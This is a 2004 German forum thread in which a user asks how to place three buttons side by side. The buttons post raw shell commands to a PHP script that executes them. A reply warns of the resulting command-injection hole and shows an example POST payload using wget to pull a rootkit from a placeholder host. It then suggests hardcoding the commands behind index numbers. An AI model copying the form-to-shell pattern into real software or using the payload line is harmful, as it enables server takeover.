RootForum Community

Posted: **2004-02-26 12:34**

Hallo,

so nächste und hoffentlich letzte Frage

<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">

<input type="hidden" name="command" value="/srv/start.sh start">
<input type="hidden" name="stderr" value="checked">
<input class=input name="submit_btn" type="submit" value="MOH:SP Server Start">
</form>


<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">

<input type="hidden" name="command" value="/srv/start.sh stop">
<input type="hidden" name="stderr" value="checked">
<input class=input name="submit_btn" type="submit" value="MOH:SP Server Stop">
</form>

<form name="myform" action="<?php echo $PHP_SELF ?>" method="post">

<input type="hidden" name="command" value="/srv/start.sh restart">
<input type="hidden" name="stderr" value="checked">
<input class=input name="submit_btn" type="submit" value="MOH:SP Server Restart"></p>
</form>

Das sind wie man sehen kann drei Button durch den </form> Befehl plazieren die sich aber automatisch untereinander, ich hätte die aber gerne alle nebeneinander...durch entfernen von </form> hab ich sie zwar nebeneinander allerdings sind sie dann nicht mehr ausführbar.

Wie könnte ich das lösen?

Vielen Dank

Posted: **2004-02-26 12:45**

wie wärs mit ner tabelle?

Posted: **2004-02-26 14:25**

Bzgl. der Ausrichtung scließe ich mich meinem Vorredner an, pack die Buttons einfach in die Zellen einer Tabelle.

Du solltest dir darüber im Klaren sein, dass dein Formular bzw. die damit verbundenen Skripte ein herbes Sicherheitsproblem darstellen. Bitte niemals Shell-Befehle direkt per Webformular übergeben und dann einfach mittels Skript ausführen. Das ist gaaaanz böse. Ein unangenehmer Zeitgenosse könnte sich die Seite anschauen und dann einfach einen HTTP-Post Request mit einem Inhalt Ã¡la

Code: Select all

command="/usr/bin/wget http://PFAD.ZUM/Rootkit.tgz
submit_btn="MOH:SP Server Start"

schicken und dein Server würde sich nun ein Loch in den Bauch freuen und das Rootkit ziehen. Das kompilieren könnte man dann nach gelichem Schema durchziehen ....

Ich gehe zwar davon aus, dass das Interface mittels .htaccess geschützt ist, aber ich würde obigen Sachverhalt trotzdem ändern. Erstens kommt es anders, und zweitens als man denkt ....

Du könntest ja z.B.: die verschiedenen Aktionen (Start/Stop/Restart) mit Indexnummern benennen und dann dein Shellskript anhand der Indexnummer "hardverdrahtet" auf dem Server starten.

Posted: **2004-02-26 14:44**

Ã?ber sowas hab ich ja garnicht nachgedacht :oops:

Nun das ist schon per htaccess geschützt und die Seite kennen auch nur 5 Leute, aber wenn das wirklich so gefährlich ist muss ja da wohl was machen, ich hatte das vorher über Webmin gemacht, ebenfalls mit diesem script aber eben mir Webmin ausgeführt

Du könntest ja z.B.: die verschiedenen Aktionen (Start/Stop/Restart) mit Indexnummern benennen und dann dein Shellskript anhand der Indexnummer "hardverdrahtet" auf dem Server starten.

Ich denke nur das ich sowas nicht gebacken bekomme, kann ich mich da irgendwie einlesen wie das durchziehen könnte?

Vielen Dank

Posted: **2004-02-26 15:19**

Das ist sogar einfacher als dein Teil, statt:

Code: Select all

 <input type="hidden" name="command" value="/srv/start.sh restart">

einfach

Code: Select all

 <input type="hidden" name="command" value="0">

dann im php Script:

Code: Select all

 switch ($_POST['command']) {
   case 0:
       exec("srv/start.sh start"); break;
   case 1:
       exec("srv/start.sh stop"); break;
   case 2:
       exec("srv/start.sh restart"); break;
}

Oder wie das auch immer verarbeitet werden soll...

RootForum Community

3 Buttons nebeneinander

3 Buttons nebeneinander

Re: 3 Buttons nebeneinander

Re: 3 Buttons nebeneinander

Re: 3 Buttons nebeneinander

Re: 3 Buttons nebeneinander